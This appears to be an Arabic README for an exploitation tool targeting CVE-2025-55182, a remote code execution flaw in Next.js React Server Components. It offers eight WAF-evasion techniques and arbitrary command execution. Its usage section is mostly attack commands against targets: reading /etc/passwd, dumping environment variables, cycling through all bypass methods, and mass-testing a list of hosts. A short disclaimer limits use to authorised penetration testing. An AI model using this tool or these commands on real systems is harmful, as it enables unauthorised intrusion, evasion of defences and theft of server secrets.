
ماسح آلي لثغرة CVE-2025-55182 من نوع RCE في Next.js، مع 8 تقنيات لتجاوز WAF، وتنفيذ أوامر مخصصة، ووضع كشف للاختبار فقط مخصص لاختبار الاختراق المصرح به.
أداة اختبار اختراق متقدمة لاكتشاف واستغلال ثغرة CVE-2025-55182 في تطبيقات Next.js
نظرة عامة
الميزات
التثبيت
الاستخدام
أمثلة
تقنيات التجاوز
التفاصيل التقنية
إخلاء المسؤولية
المساهمة
الترخيص
CVE-2025-55182 هي ثغرة حرجة لتنفيذ التعليمات البرمجية عن بُعد (RCE) تؤثر على تطبيقات Next.js عبر React Server Components. يوفر هذا الماسح وسيلة آلية لاكتشاف واستغلال هذه الثغرة باستخدام تقنيات تجاوز WAF المختلفة.
درجة CVSS: 9.8 (حرجة)
متغيرات حمولة متعددة: أنماط استغلال مختلفة
تقنيات تجاوز WAF: 8 طرق تجاوز مختلفة
تنفيذ أوامر مخصصة: تنفيذ أوامر نظام تعسفية
اختبار الثغرات: وضع الاختبار فقط للكشف الآمن
دعم الوكيل: توجيه الحركة عبر وكيل لتصحيح الأخطاء
تجاوز SSL: خيار لتخطي التحقق من شهادة SSL
آلية إعادة المحاولة: إعادة محاولة تلقائية عند الفشل
مخرجات ملونة: واجهة وحدة تحكم سهلة القراءة
بايثون 3.6 أو أحدث
مدير الحزم pip
# Install dependencies
pip install -r requirements.txt
# Make the script executable (Linux/Mac)
chmod +x scanner.py
# Build Docker image
docker build -t cve-2025-55182-scanner .
# Run with Docker
docker run --rm cve-2025-55182-scanner -h
# Show help
python scanner.py -h
# Test a target
python scanner.py -d http://target.com --test-only
# Execute command
python scanner.py -d http://target.com -c "whoami"
# Test if target is vulnerable
python scanner.py -d http://vulnapp.com --test-only
# Execute simple command
python scanner.py -d http://vulnapp.com -c "id"
# List directory contents
python scanner.py -d https://target.com -c "ls -la" -k
# Read system file
python scanner.py -d http://localhost:3000 -c "cat /etc/passwd"
# Use Base64 encoding bypass
python scanner.py -d http://target.com -c "uname -a" -t 2
# Use Unicode encoding
python scanner.py -d https://target.com -c "whoami" -t 3 -k
# Use mixed techniques with proxy
python scanner.py -d http://target.com -c "pwd" -t 4 -p http://127.0.0.1:8080
# Try all techniques automatically
for i in {1..8}; do
echo "Trying technique $i"
python scanner.py -d http://target.com -c "hostname" -t $i
echo ""
done
# Test multiple targets from file
for target in $(cat targets.txt); do
echo "Testing $target"
python scanner.py -d $target --test-only
done
# Save output to file
python scanner.py -d http://target.com -c "ifconfig" > output.txt
# Use with Burp Suite proxy
python scanner.py -d https://target.com -c "env" -p http://127.0.0.1:8080 -k
يتضمن الماسح 8 تقنيات مختلفة لتجاوز WAF:
الحمولة الافتراضية: نمط الاستغلال الأصلي
ترميز Base64: ترميز الأوامر في Base64
ترميز Unicode: استخدام ترميز أحرف Unicode
التلاعب بحالة الأحرف: تباينات عشوائية في حالة الأحرف
الترميز المزدوج: ترميز URL مزدوج
البايتات الفارغة: حقن البايتات الفارغة
ترويسات مختلطة: ترويسات HTTP متنوعة
تأخيرات عشوائية: إضافة فترات انتظار عشوائية
يمكن تحديد كل تقنية باستخدام العلم -t.
CVE-2025-55182 هي ثغرة تلوث النموذج الأولي (prototype pollution) في Next.js تؤدي إلى تنفيذ التعليمات البرمجية عن بُعد عبر React Server Components. تسمح هذه الثغرة للمهاجمين بتنفيذ أوامر تعسفية على الخادم.
تستخدم الأداة طلب multipart/form-data مصممًا خصيصًا مع تلوث النموذج الأولي لتحقيق RCE:
تلوث النموذج الأولي: يلوث سلسلة النماذج الأولية لـ Promise
حقن الأوامر: يحقن تنفيذ child_process الخاص بـ Node.js
استخراج النتائج: يستخرج النتائج عبر ترويسات إعادة التوجيه
يرسل الماسح طلبات مصممة خصيصًا ويبحث عن:
ترويسات X-Action-Redirect التي تحتوي على مخرجات الأوامر
أنماط استجابة محددة تشير إلى نجاح الاستغلال
رسائل خطأ توحي بوجود الثغرة
هام: للاستخدام القانوني والأخلاقي فقط
تم توفير هذه الأداة من أجل:
البحث الأمني والتعليم
اختبار الاختراق المصرح به
تقييم الثغرات بإذن مناسب
أغراض الأمن الدفاعي
لا تستخدم هذه الأداة من أجل:
اختبار الأنظمة دون إذن
الأنشطة غير القانونية
الأغراض الخبيثة
انتهاك شروط الخدمة
باستخدامك لهذه الأداة، فإنك توافق على:
استخدامها فقط على الأنظمة التي تملكها أو لديك إذن صريح لاختبارها
الامتثال لجميع القوانين واللوائح المعمول بها
تحمل المسؤولية الكاملة عن أفعالك
عدم تحميل المؤلف المسؤولية عن أي إساءة استخدام
المساهمات مرحب بها! إليك كيف يمكنك المساعدة:
تحقق مما إذا كانت المشكلة موجودة بالفعل
قدم خطوات إعادة إنتاج مفصلة
أدرج رسائل الخطأ والسجلات
حدد تفاصيل بيئتك
انشئ Fork للمستودع
أنشئ فرع ميزة
اكتب رسائل commit واضحة
أضف اختبارات إن أمكن
قدم طلب سحب (pull request)
اقترح ميزات جديدة عبر مشكلات GitHub مع وسم "enhancement".
هذا المشروع مرخص بموجب رخصة MIT - راجع ملف LICENSE للحصول على التفاصيل.
رخصة MIT
حقوق النشر (c) 2025
يُمنح بموجب هذا الإذن، مجانًا، لأي شخص يحصل على نسخة من هذا البرنامج وملفات الوثائق المرتبطة به (يُشار إليه فيما يلي باسم "البرنامج")، الحق في التعامل مع البرنامج دون أي قيود، بما في ذلك دون حصر حقوق الاستخدام والنسخ والتعديل والدمج والنشر والتوزيع والترخيص من الباطن و/أو بيع نسخ من البرنامج، والسماح للأشخاص الذين يُزوَّدون بالبرنامج بالقيام بذلك، وذلك وفقًا للشروط التالية:
يجب تضمين إشعار حقوق النشر أعلاه وإشعار الإذن هذا في جميع النسخ أو الأجزاء الجوهرية من البرنامج.
يُقدَّم البرنامج "كما هو"، دون أي ضمان من أي نوع، صريح أو ضمني، بما في ذلك على سبيل المثال لا الحصر ضمانات قابلية التسويق والملاءمة لغرض معين وعدم الانتهاك. في أي حال من الأحوال، لا يتحمل المؤلفون أو أصحاب حقوق النشر المسؤولية عن أي مطالبة أو أضرار أو مسؤولية أخرى، سواء في دعوى تعاقدية أو تقصيرية أو غير ذلك، تنشأ عن أو بسبب أو فيما يتعلق بالبرنامج أو استخدامه أو أي تعاملات أخرى فيه.
الإدخال الرسمي لـ CVE-2025-55182
قالب ProjectDiscovery Nuclei
النشرات الأمنية لـ Next.js
وثائق React Server Components
إذا وجدت هذه الأداة مفيدة، فيرجى التفكير في منحها نجمة على GitHub!
تذكر: القوة العظيمة تأتي مع مسؤولية عظيمة. استخدم هذه الأداة بشكل أخلاقي وقانوني.
| الخيار | الوصف | الافتراضي |
|---|
| -d, --domain | رابط الهدف | http://localhost:3000 |
| -c, --command | الأمر المراد تنفيذه | id |
| -t, --technique | تقنية التجاوز (1-8) | 1 |
| -p, --proxy | خادم الوكيل | None |
| -k, --insecure | تخطي التحقق من SSL | False |
| --test-only | اختبار الثغرة فقط | False |
| -h, --help | عرض رسالة المساعدة | N/A |